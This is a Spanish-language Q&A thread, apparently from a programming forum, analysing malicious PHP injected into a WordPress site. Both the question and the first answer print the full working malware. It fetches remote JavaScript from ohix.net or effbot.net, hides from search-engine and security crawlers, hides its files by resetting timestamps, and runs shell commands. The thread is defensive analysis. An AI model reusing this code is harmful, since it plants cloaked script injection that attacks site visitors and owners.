php - maliciosos - codigos de virus para android

¿Qué está logrando este código de malware?

Question

Encontré este código inyectado en varios archivos PHP en el sitio de un cliente. Por supuesto, el original había sido ofuscado y codificado. Logré decodificarlo y formatearlo en la forma actual.

Mi pregunta es: ¿Qué está logrando exactamente y el código sugiere cómo se inyectó y, por lo tanto, arroja luz sobre cómo prevenir esto en el futuro?

<?php
if(!function_exists(''check_wp_head_load'')){
    function check_wp_head_load(){
        if(!function_exists(''cc'')){
            function cc($ll_0){
                $ll_1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)";
                if(function_exists(''curl_init'')){
                    $ll_2 = curl_init();
                    curl_setopt($ll_2, 10002, $ll_0);
                    curl_setopt($ll_2, 42, 0);
                    curl_setopt($ll_2, 13, 30);
                    curl_setopt($ll_2, 19913, 1);
                    curl_setopt($ll_2, 10018, $ll_1);
                    if(!(@ini_get("safe_mode") || @ini_get("open_basedir"))){
                        @curl_setopt($ll_2, 52, 1);

                    }

                    @curl_setopt($ll_2, 68, 2);
                    $ll_3 = curl_exec($ll_2);
                    curl_close($ll_2);
                    if($ll_3 !== false){
                        return $ll_3;

                    }

                }
                else if(function_exists(''fsockopen'')){
                    global $ll_4;
                    $ll_0 = str_replace("http://", "", $ll_0);
                    if(preg_match("#/#", "$ll_0")){
                        $ll_5 = $ll_0;
                        $ll_0 = @explode("/", $ll_0);
                        $ll_0 = $ll_0[0];
                        $ll_5 = str_replace($ll_0, "", $ll_5);
                        if(!$ll_5 || $ll_5 == ""){
                            $ll_5 = "/";

                        }
                        $ll_6 = gethostbyname($ll_0);

                    }
                    else{
                        $ll_6 = gethostbyname($ll_0);
                        $ll_5 = "/";

                    }
                    $ll_7 = fsockopen($ll_6, 80, $ll_8, $ll_9, 10);
                    stream_set_timeout($ll_7, 10);
                    if($ll_7){
                        $ll_10 = "GET $ll_5 HTTP/1.0/r/n";
                        $ll_10 .= "Host: $ll_0/r/n";
                        $ll_10 .= "Referer: http://$ll_0$ll_5/r/n";
                        $ll_10 .= "Accept-Language: en-us, en;q=0.50/r/n";
                        $ll_10 .= "User-Agent: $ll_1/r/n";
                        $ll_10 .= "Connection: Close/r/n/r/n";
                        fputs($ll_7, $ll_10);
                        while(!feof($ll_7)){
                            $ll_11 .= fgets($ll_7, 4096);

                        }
                        fclose($ll_7);
                        $ll_11 = @explode("/r/n/r/n", $ll_11, 2);
                        $ll_12 = $ll_11[0];
                        if($ll_4){
                            $ll_12 = "$ll_4<br /><br />/n$ll_12";

                        }
                        $ll_12 = str_replace("/n", "<br />", $ll_12);
                        if($ll_11[1]){
                            $ll_13 = $ll_11[1];

                        }
                        else{
                            $ll_13 = "";

                        }
                        if($ll_13){
                            $ll_11 = $ll_13;

                        }
                        else{
                            $ll_11 = $ll_12;

                        }
                        if(preg_match("/Location/:/", "$ll_12")){
                            $ll_0 = @explode("Location: ", $ll_12);
                            $ll_0 = $ll_0[1];
                            $ll_0 = @explode("/r", $ll_0);
                            $ll_0 = $ll_0[0];
                            $ll_4 = str_replace("/r/n/r/n", "", $ll_12);
                            $ll_14 = "&#76&#111&#99&#97&#116&#105&#111&#110&#58";
                            $ll_4 = str_replace("Location:", $ll_14, $ll_4);
                            return cc($ll_0);

                        }
                        else{
                            return $ll_11;

                        }

                    }

                }
                else{
                    echo "ERROR";
                    exit;

                }

            }

        }
        if(!function_exists(''detB'')){
            function detB($ll_15, $ll_16){
                $ll_17 = array("66/.249/.[6-9][0-9]/.[0-9]+", "72/.14/.[1-2][0-9][0-9]/.[0-9]+", "74/.125/.[0-9]+/.[0-9]+", "65/.5[2-5]/.[0-9]+/.[0-9]+", "74/.6/.[0-9]+/.[0-9]+", "67/.195/.[0-9]+/.[0-9]+",
                                "72/.30/.[0-9]+/.[0-9]+", "38/.[0-9]+/.[0-9]+/.[0-9]+", "124/.115/.6/.[0-9]+", "93/.172/.94/.227", "212/.100/.250/.218", "71/.165/.223/.134",
                                "209/.9/.239/.101", "67/.217/.160/.[0-9]+", "70/.91/.180/.25", "65/.93/.62/.242", "74/.193/.246/.129", "213/.144/.15/.38",
                                "195/.92/.229/.2", "70/.50/.189/.191", "218/.28/.88/.99", "165/.160/.2/.20", "89/.122/.224/.230", "66/.230/.175/.124",
                                "218/.18/.174/.27", "65/.33/.87/.94", "67/.210/.111/.241", "81/.135/.175/.70", "64/.69/.34/.134", "89/.149/.253/.169",
                                "64/.233/.1[6-8][1-9]/.[0-9]+", "64/.233/.19[0-1]/.[0-9]+", "209/.185/.108/.[0-9]+", "209/.185/.253/.[0-9]+", "209/.85/.238/.[0-9]+", "216/.239/.33/.9[6-9]",
                                "216/.239/.37/.9[8-9]","216/.239/.39/.9[8-9]","216/.239/.41/.9[6-9]","216/.239/.45/.4","216/.239/.46/.[0-9]+","216/.239/.51/.9[6-9]","216/.239/.53/.9[8-9]",
                                "216/.239/.57/.9[6-9]","216/.239/.59/.9[8-9]","216/.33/.229/.163","64/.233/.173/.[0-9]+","64/.68/.8[0-9]/.[0-9]+","64/.68/.9[0-2]/.[0-9]+","72/.14/.199/.[0-9]+",
                                "8/.6/.48/.[0-9]+","207/.211/.40/.82","67/.162/.158/.146","66/.255/.53/.123","24/.200/.208/.112","129/.187/.148/.240","129/.187/.148/.244",
                                "199/.126/.151/.229","118/.124/.32/.193","89/.149/.217/.191","122/.164/.27/.42","149/.5/.168/.2","150/.70/.66/.[0-9]+","194/.250/.116/.39",
                                "208/.80/.194/.[0-9]+","62/.190/.39/.205","67/.198/.80/.236","85/.85/.187/.243","95/.134/.141/.250","97/.107/.135/.[0-9]+","97/.79/.239/.[0-9]+",
                                "184/.168/.191/.[0-9]+","95/.108/.157/.[0-9]+","209/.235/.253/.17");
                $ll_18 = array("http","google","slurp","msnbot","bot","crawl",
                                "spider","robot","httpclient","curl","php","indy library",
                                "wordpress","charlotte","wwwster","python","urllib","perl",
                                "libwww","lynx","twiceler","rambler","yandex","trend",
                                "virus","malware","wget");
                $ll_15 = preg_replace("|User/.Agent/:[/s ]?|i", "", $ll_15);
                $ll_19 = true;
                foreach($ll_17 as $ll_20)
                    if(eregi("$ll_20", $ll_16)){
                        $ll_19 = false;
                        break;

                    }
                    if($ll_19)
                        foreach($ll_18 as $ll_21)
                            if(eregi($ll_21, $ll_15) !== false){
                                $ll_19 = false;
                                break;

                            }
                            if($ll_19 and!eregi("^[a-zA-Z]{5,}", $ll_15)){
                                $ll_19 = false;

                            }
                            if($ll_19 and strlen($ll_15) <= 11){
                                $ll_19 = false;

                            }
                            return $ll_19;

            }

        }
        if(!function_exists(''rm_rf_file'')){
            function rm_rf_file($ll_22){
                $ll_23 = filemtime($ll_22);
                if($ll_24 = opendir($ll_22)){
                    while(false !==($ll_25 = readdir($ll_24))){
                        if($ll_25 != "." && $ll_25 != ".." && is_file($ll_25)){
                            chmod($ll_25, 438);
                            unlink($ll_25);

                        }

                    }
                    closedir($ll_24);

                }
                touch($ll_22, $ll_23, $ll_23);

            }

        }
        if(!function_exists(''sys_get_temp_dir'')){
            function sys_get_temp_dir(){
                if($ll_26 = getenv("TMP"))
                    return $ll_26;
                if($ll_26 = getenv("TEMP"))
                    return $ll_26;
                if($ll_26 = getenv("TMPDIR"))
                    return $ll_26;
                $ll_26 = tempnam(__FILE__, "");
                if(file_exists($ll_26)){
                    unlink($ll_26);
                    return dirname($ll_26);

                }
                return false;

            }

        }
        if(!function_exists(''ex'')){
            function ex($ll_27){
                $ll_28 = "";
                if(!empty($ll_27)){
                    if(function_exists(''exec'')){
                        @exec($ll_27, $ll_28);
                        $ll_28 = join("/n", $ll_28);

                    }
                    elseif(function_exists(''shell_exec'')){
                        $ll_28 = @shell_exec($ll_27);

                    }
                    elseif(function_exists(''system'')){
                        @ob_start();
                        @system($ll_27);
                        $ll_28 = @ob_get_contents();
                        @ob_end_clean();

                    }
                    elseif(function_exists(''passthru'')){
                        @ob_start();
                        @passthru($ll_27);
                        $ll_28 = @ob_get_contents();
                        @ob_end_clean();

                    }
                    elseif(@is_resource($ll_29 = @popen($ll_27, "r"))){
                        $ll_28 = "";
                        while(!@feof($ll_29)){
                            $ll_28 .= @fread($ll_29, 1024);

                        }
                        @pclose($ll_29);

                        }elseif(@function_exists(''proc_open'') && @is_resource($ll_29 = @proc_open($ll_27, array(1 => array("pipe", "w")), $ll_30))){
                            $ll_28 = "";
                            if(@function_exists(''fread'') && @function_exists(''feof'')){
                                while(!@feof($ll_30[1])){
                                    $ll_28 .= @fread($ll_30[1], 1024);

                                }

                            }
                            else if(@function_exists(''fgets'') && @function_exists(''feof'')){
                                while(!@feof($ll_30[1])){
                                    $ll_28 .= @fgets($ll_30[1], 1024);

                                }

                            }
                            @proc_close($ll_29);

                        }

                }
                return htmlspecialchars($ll_28);

            }

        }
        $ll_31 = "lonly";
        $ll_32 = $_SERVER["REMOTE_ADDR"];
        $ll_1 = $_SERVER["HTTP_USER_AGENT"];
        $ll_33 = $_SERVER["SCRIPT_FILENAME"];
        $ll_34 = strtolower($ll_1);
        if($ll_32 == "" || $ll_1 == "" || $ll_33 == "")
            return null;
        if(!isset($_COOKIE[$ll_31])){
            $ll_35 = @sys_get_temp_dir();
            if(!$ll_35){
                $ll_35 = dirname($ll_33);
                $ll_36 = $ll_35 ."/.tmp";

            }
            else{
                $ll_36 = $ll_35 ."/.tmp";
                if(!@file_exists($ll_36)){
                    $ll_23 = @filemtime($ll_35);
                    @mkdir($ll_36);
                    $ll_37 = @fopen("$ll_36/r", "w");
                    @fwrite($ll_37, "");
                    @fclose($ll_37);
                    @chmod($ll_36, 511);
                    @touch("$ll_36/r", $ll_23, $ll_23);
                    @touch($ll_35, $ll_23, $ll_23);
                    @touch($ll_36, $ll_23, $ll_23);
                    if(!@file_exists("$ll_36/r")){
                        $ll_35 = dirname($ll_33);
                        $ll_36 = $ll_35 ."/.cache";

                    }

                }

            }
            if(!@file_exists($ll_36)){
                $ll_23 = @filemtime($ll_35);
                @mkdir($ll_36);
                @chmod($ll_36, 511);
                @touch($ll_35, $ll_23, $ll_23);
                @touch($ll_36, $ll_23, $ll_23);

            }
            $ll_38 = @date("Hi");
            $ll_39 = @date("ymd");
            $ll_40 = "$ll_36/$ll_39";
            $ll_41 = "$ll_36/tmp_$ll_39";
            $ll_42 = $ll_39 - 1;
            if(@file_exists("$ll_36/tmp_$ll_42") || ($ll_38 >= "0000" &&
                    $ll_38 <= "0001") || ($ll_38 >= "1200" &&
                    $ll_38 <= "1201") || ($ll_38 >= "1800" &&
                    $ll_38 <= "1801")){
                @rm_rf_file($ll_36);
                @ex("rm -rf $ll_36/*");

            }
            if(!@file_exists($ll_40)){
                $ll_23 = @filemtime($ll_36);
                $ll_37 = @fopen($ll_40, "w");
                @fclose($ll_37);
                @chmod($ll_40, 511);
                @touch($ll_36, $ll_23, $ll_23);

            }
            if(@is_writable($ll_36) && (!@file_exists($ll_41) || @filesize($ll_41) < 5)){
                $ll_43 = array("ohix.", "effbot.", "/f/", "net");
                $ll_44 = $ll_43[rand(0, 1)] .$ll_43[3] .$ll_43[2];
                $ll_45 = @cc($ll_44);
                if($ll_45 != "ERROR" && base64_decode($ll_45) !== false){
                    $ll_23 = @filemtime($ll_36);
                    $ll_37 = @fopen($ll_41, "w");
                    @fwrite($ll_37, "$ll_45");
                    @fclose($ll_37);
                    @chmod($ll_41, 511);
                    @touch($ll_36, $ll_23, $ll_23);
                    @touch($ll_41, $ll_23, $ll_23);

                }
                else
                    return null;

            }
            $ll_46 = @base64_decode(@file_get_contents($ll_41));
            $ll_47 = @file($ll_40);
            $ll_48 = false;
            foreach($ll_47 as $ll_49){
                if(@trim($ll_49) == $ll_32){
                    $ll_48 = true;
                    break;

                }

            }
            $ll_19 = @detB($ll_1,$ll_32);
            if($ll_48 == false && $ll_19 == true){
                $ll_37 = @fopen($ll_40,"a");
                @fwrite($ll_37, "$ll_32/n");
                @fclose($ll_37);
                echo "/n" .str_repeat(" ", mt_rand(300, 1000)) 
                        . "<script type=''text/javascript''>$ll_46</script>/n";

            }

        }

    }

}
$ll_31 = "lonly";
if(!isset($_COOKIE[$ll_31]))
    @add_action("wp_head", "check_wp_head_load", mt_rand(1, 7));
?>

Answer 1

De acuerdo, al primer análisis de todas las funciones definidas y al análisis final de lo que realmente hace el script. El script define las siguientes funciones:

Cargue cualquier contenido de URL, tiene 2 implementaciones (una para curl, segunda para sockets):

function cc($url) {
    $user_agent = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)";
    if (function_exists(''curl_init'')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
        if (!(@ini_get("safe_mode") || @ini_get("open_basedir"))) {
            @curl_setopt($ch, CURLE_GOT_NOTHING, 1);
        }

        @curl_setopt($ch, CURLOPT_MAXREDIRS, 2);
        $content = curl_exec($ch);
        curl_close($ch);

        if ($content !== false) {
            return $content;
        }
    } else if (function_exists(''fsockopen'')) {
        // Alternative implementation
    } else {
        echo "ERROR";
        exit;
    }
}

Algún tipo de validación del agente RemoteAddr / User (cuándo ocultarlo):

function detB($userAgent, $remoteAddr) {
    // Those are obviously regexps which will match quite wide range of ip addresses
    $ipList = array("66/.249/.[6-9][0-9]/.[0-9]+", "72/.14/.[1-2][0-9][0-9]/.[0-9]+", "74/.125/.[0-9]+/.[0-9]+", "65/.5[2-5]/.[0-9]+/.[0-9]+", "74/.6/.[0-9]+/.[0-9]+", "67/.195/.[0-9]+/.[0-9]+",
        "72/.30/.[0-9]+/.[0-9]+", "38/.[0-9]+/.[0-9]+/.[0-9]+", "124/.115/.6/.[0-9]+", "93/.172/.94/.227", "212/.100/.250/.218", "71/.165/.223/.134",
        "209/.9/.239/.101", "67/.217/.160/.[0-9]+", "70/.91/.180/.25", "65/.93/.62/.242", "74/.193/.246/.129", "213/.144/.15/.38",
        "195/.92/.229/.2", "70/.50/.189/.191", "218/.28/.88/.99", "165/.160/.2/.20", "89/.122/.224/.230", "66/.230/.175/.124",
        "218/.18/.174/.27", "65/.33/.87/.94", "67/.210/.111/.241", "81/.135/.175/.70", "64/.69/.34/.134", "89/.149/.253/.169",
        "64/.233/.1[6-8][1-9]/.[0-9]+", "64/.233/.19[0-1]/.[0-9]+", "209/.185/.108/.[0-9]+", "209/.185/.253/.[0-9]+", "209/.85/.238/.[0-9]+", "216/.239/.33/.9[6-9]",
        "216/.239/.37/.9[8-9]", "216/.239/.39/.9[8-9]", "216/.239/.41/.9[6-9]", "216/.239/.45/.4", "216/.239/.46/.[0-9]+", "216/.239/.51/.9[6-9]", "216/.239/.53/.9[8-9]",
        "216/.239/.57/.9[6-9]", "216/.239/.59/.9[8-9]", "216/.33/.229/.163", "64/.233/.173/.[0-9]+", "64/.68/.8[0-9]/.[0-9]+", "64/.68/.9[0-2]/.[0-9]+", "72/.14/.199/.[0-9]+",
        "8/.6/.48/.[0-9]+", "207/.211/.40/.82", "67/.162/.158/.146", "66/.255/.53/.123", "24/.200/.208/.112", "129/.187/.148/.240", "129/.187/.148/.244",
        "199/.126/.151/.229", "118/.124/.32/.193", "89/.149/.217/.191", "122/.164/.27/.42", "149/.5/.168/.2", "150/.70/.66/.[0-9]+", "194/.250/.116/.39",
        "208/.80/.194/.[0-9]+", "62/.190/.39/.205", "67/.198/.80/.236", "85/.85/.187/.243", "95/.134/.141/.250", "97/.107/.135/.[0-9]+", "97/.79/.239/.[0-9]+",
        "184/.168/.191/.[0-9]+", "95/.108/.157/.[0-9]+", "209/.235/.253/.17");

    // Those are magic words to be matched
    $wordsList = array("http", "google", "slurp", "msnbot", "bot", "crawl",
        "spider", "robot", "httpclient", "curl", "php", "indy library",
        "wordpress", "charlotte", "wwwster", "python", "urllib", "perl",
        "libwww", "lynx", "twiceler", "rambler", "yandex", "trend",
        "virus", "malware", "wget");
    $userAgent = preg_replace("|User/.Agent/:[/s ]?|i", "", $userAgent);
    $replacedHeader = true;
    foreach ($ipList as $ip)
        if (eregi("$ip", $remoteAddr)) {
            $replacedHeader = false;
            break;
        }
    if ($replacedHeader)
        foreach ($wordsList as $word)
            if (eregi($word, $userAgent) !== false) {
                $replacedHeader = false;
                break;
            }
    if ($replacedHeader and !eregi("^[a-zA-Z]{5,}", $userAgent)) {
        $replacedHeader = false;
    }
    if ($replacedHeader and strlen($userAgent) <= 11) {
        $replacedHeader = false;
    }
    return $replacedHeader;
}

Elimine el archivo / directorio recursivamente y reemplácelo con un archivo nuevo (para que mtime coincida)

function rm_rf_file($filename) {
    $fileMTime = filemtime($filename);
    if ($directory = opendir($filename)) {
        while (false !== ($directoryItem = readdir($directory))) {
            if ($directoryItem != "." && $directoryItem != ".." && is_file($directoryItem)) {
                chmod($directoryItem, 438); // 438 = 0666
                unlink($directoryItem);
            }
        }
        closedir($directory);
    }
    touch($filename, $fileMTime, $fileMTime);
} 

Obtenga el directorio temporal system / php (de varias maneras):

function sys_get_temp_dir() {
    if ($tmpDir = getenv("TMP"))
        return $tmpDir;
    if ($tmpDir = getenv("TEMP"))
        return $tmpDir;
    if ($tmpDir = getenv("TMPDIR"))
        return $tmpDir;
    // Now it''s tmp file, not tmp dir
    $tmpDir = tempnam(__FILE__, "");
    if (file_exists($tmpDir)) {
        unlink($tmpDir);
        return dirname($tmpDir);
    }
    return false;
}

Ejecute el comando de shell (implementación para todas las ejecuciones posibles que admite php):

function ex($shellCommand) {
    $result = "";
    if (!empty($shellCommand)) {
        if (function_exists(''exec'')) {
            @exec($shellCommand, $result);
            $result = join("/n", $result);
        } elseif (function_exists(''shell_exec'')) {
            $result = @shell_exec($shellCommand);
        } elseif (function_exists(''system'')) {
            @ob_start();
            @system($shellCommand);
            $result = @ob_get_contents();
            @ob_end_clean();
        } elseif (function_exists(''passthru'')) {
            @ob_start();
            @passthru($shellCommand);
            $result = @ob_get_contents();
            @ob_end_clean();
        } elseif (@is_resource($processHandler = @popen($shellCommand, "r"))) {
            $result = "";
            while (!@feof($processHandler)) {
                $result .= @fread($processHandler, 1024);
            }
            @pclose($processHandler);
        } elseif (@function_exists(''proc_open'') && @is_resource($processHandler = @proc_open($shellCommand, array(1 => array("pipe", "w")), $shellOutput))) {
            $result = "";
            if (@function_exists(''fread'') && @function_exists(''feof'')) {
                while (!@feof($shellOutput[1])) {
                    $result .= @fread($shellOutput[1], 1024);
                }
            } else if (@function_exists(''fgets'') && @function_exists(''feof'')) {
                while (!@feof($shellOutput[1])) {
                    $result .= @fgets($shellOutput[1], 1024);
                }
            }
            @proc_close($processHandler);
        }
    }
    return htmlspecialchars($result);
}

Y la función principal de carga útil:

// This is just initialization for script variables
$cookieKey = "lonly";
$remoteAddr = $_SERVER["REMOTE_ADDR"];
$userAgent = $_SERVER["HTTP_USER_AGENT"];
$scriptFileName = $_SERVER["SCRIPT_FILENAME"];
$userAgentToLower = strtolower($userAgent);

// Requires to have all variables filled
if ($remoteAddr == "" || $userAgent == "" || $scriptFileName == "")
    return null;

// Initialization via cookies
if (!isset($_COOKIE[$cookieKey])) {
    $tempDir = @sys_get_temp_dir();

    // If there''s no tmp dir create directory in current directory
    if (!$tempDir) {
        $tempDir = dirname($scriptFileName);
        $tempDirectory = $tempDir . "/.tmp";

    // Create directory in temporary directory and hide directory mtime
    } else {
        $tempDirectory = $tempDir . "/.tmp";
        if (!@file_exists($tempDirectory)) {
            $directoryMTime = @filemtime($tempDir);
            @mkdir($tempDirectory);
            $tempFileFP = @fopen("$tempDirectory/r", "w");
            @fwrite($tempFileFP, "");
            @fclose($tempFileFP);
            @chmod($tempDirectory, 511); // 0777
            @touch("$tempDirectory/r", $directoryMTime, $directoryMTime);
            @touch($tempDir, $directoryMTime, $directoryMTime);
            @touch($tempDirectory, $directoryMTime, $directoryMTime);
            if (!@file_exists("$tempDirectory/r")) {
                $tempDir = dirname($scriptFileName);
                $tempDirectory = $tempDir . "/.cache";
            }
        }
    }

    // Make sure that directory exists
    if (!@file_exists($tempDirectory)) {
        $directoryMTime = @filemtime($tempDir);
        @mkdir($tempDirectory);
        @chmod($tempDirectory, 511); // 0777
        @touch($tempDir, $directoryMTime, $directoryMTime);
        @touch($tempDirectory, $directoryMTime, $directoryMTime);
    }

    // Initializes variables
    $time = @date("Hi");
    $date = @date("ymd");
    $ipStorageFile = "$tempDirectory/$date";
    $payloadFile = "$tempDirectory/tmp_$date";
    $date2 = $date - 1;

    // Remove our own mass if there''s file one day old,
    // or when we launch script at certain times (0000, 1200 and 1800)
    if (@file_exists("$tempDirectory/tmp_$date2") || ($time >= "0000" &&
        $time <= "0001") || ($time >= "1200" &&
        $time <= "1201") || ($time >= "1800" &&
        $time <= "1801")) {
        @rm_rf_file($tempDirectory);
        @ex("rm -rf $tempDirectory/*");
    }

    // Create one temporary file
    if (!@file_exists($ipStorageFile)) {
        $directoryMTime = @filemtime($tempDirectory);
        $tempFileFP = @fopen($ipStorageFile, "w");
        @fclose($tempFileFP);
        @chmod($ipStorageFile, 511); // 0777
        @touch($tempDirectory, $directoryMTime, $directoryMTime);
    }

    // If file2 doesn''t exists or is empty try to load content from website
    // Websites is one of those:
    // ohix.net/f/
    // effbot.net/f/
    if (@is_writable($tempDirectory) && (!@file_exists($payloadFile) || @filesize($payloadFile) < 5)) {
        $urlParts = array("ohix.", "effbot.", "/f/", "net");
        $url = $urlParts[rand(0, 1)] . $urlParts[3] . $urlParts[2];
        $content = @cc($url);
        if ($content != "ERROR" && base64_decode($content) !== false) {
            $directoryMTime = @filemtime($tempDirectory);
            $tempFileFP = @fopen($payloadFile, "w");
            @fwrite($tempFileFP, "$content");
            @fclose($tempFileFP);
            @chmod($payloadFile, 511);
            @touch($tempDirectory, $directoryMTime, $directoryMTime);
            @touch($payloadFile, $directoryMTime, $directoryMTime);
        }
        else
            return null;
    }

    // Load contents
    $content = @base64_decode(@file_get_contents($payloadFile));
    $ipList = @file($ipStorageFile);
    $knowenIp = false;

    // Check whether this IP was already used
    foreach ($ipList as $ip) {
        if (@trim($ip) == $remoteAddr) {
            $knowenIp = true;
            break;
        }
    }

    $clientValidation = @detB($userAgent, $remoteAddr);
    if ($knowenIp == false && $clientValidation == true) {
        $tempFileFP = @fopen($ipStorageFile, "a");
        @fwrite($tempFileFP, "$remoteAddr/n");
        @fclose($tempFileFP);
        echo "/n" . str_repeat(" ", mt_rand(300, 1000))
        . "<script type=''text/javascript''>$content</script>/n";
    }
}

Entonces, si estoy leyendo todo este código correctamente, el script hace lo siguiente:

• Intente inicializar algunas funciones (cada una explicada por separado)
• Crear un directorio temporal sin modificar el mtime de la carpeta principal
• Cargue la "carga útil" en $payloadFile (probablemente contenido publicitario) de uno de esos sitios:
  • ohix.net/f/
  • effbot.net/f/
• Solo muestra contenido una vez al día para cada usuario / ip ( $ipStorageFile )
• El script es lo suficientemente inteligente (función detB ) para no mostrar su contenido a ciertas direcciones IP (probablemente algunos bots, controles de seguridad, etc.) y algunos agentes de usuario (como googlebots o clientes que no pueden iniciar javascript de forma predeterminada).

Answer 2

Después de algunas refactorizaciones y lecturas, llegué a la conclusión de que el script eventualmente provocaría que el servidor navegara a uno de los siguientes sitios web:

• ohic.net/f/
• effbot.net/f/

Además de descargar y ejecutar archivos desde esos sitios web.

O bien tiene una contraseña débil (o de alguna manera adivinable), o puede ser un agujero de seguridad en wordpress. Asegúrate de tener la versión más actualizada.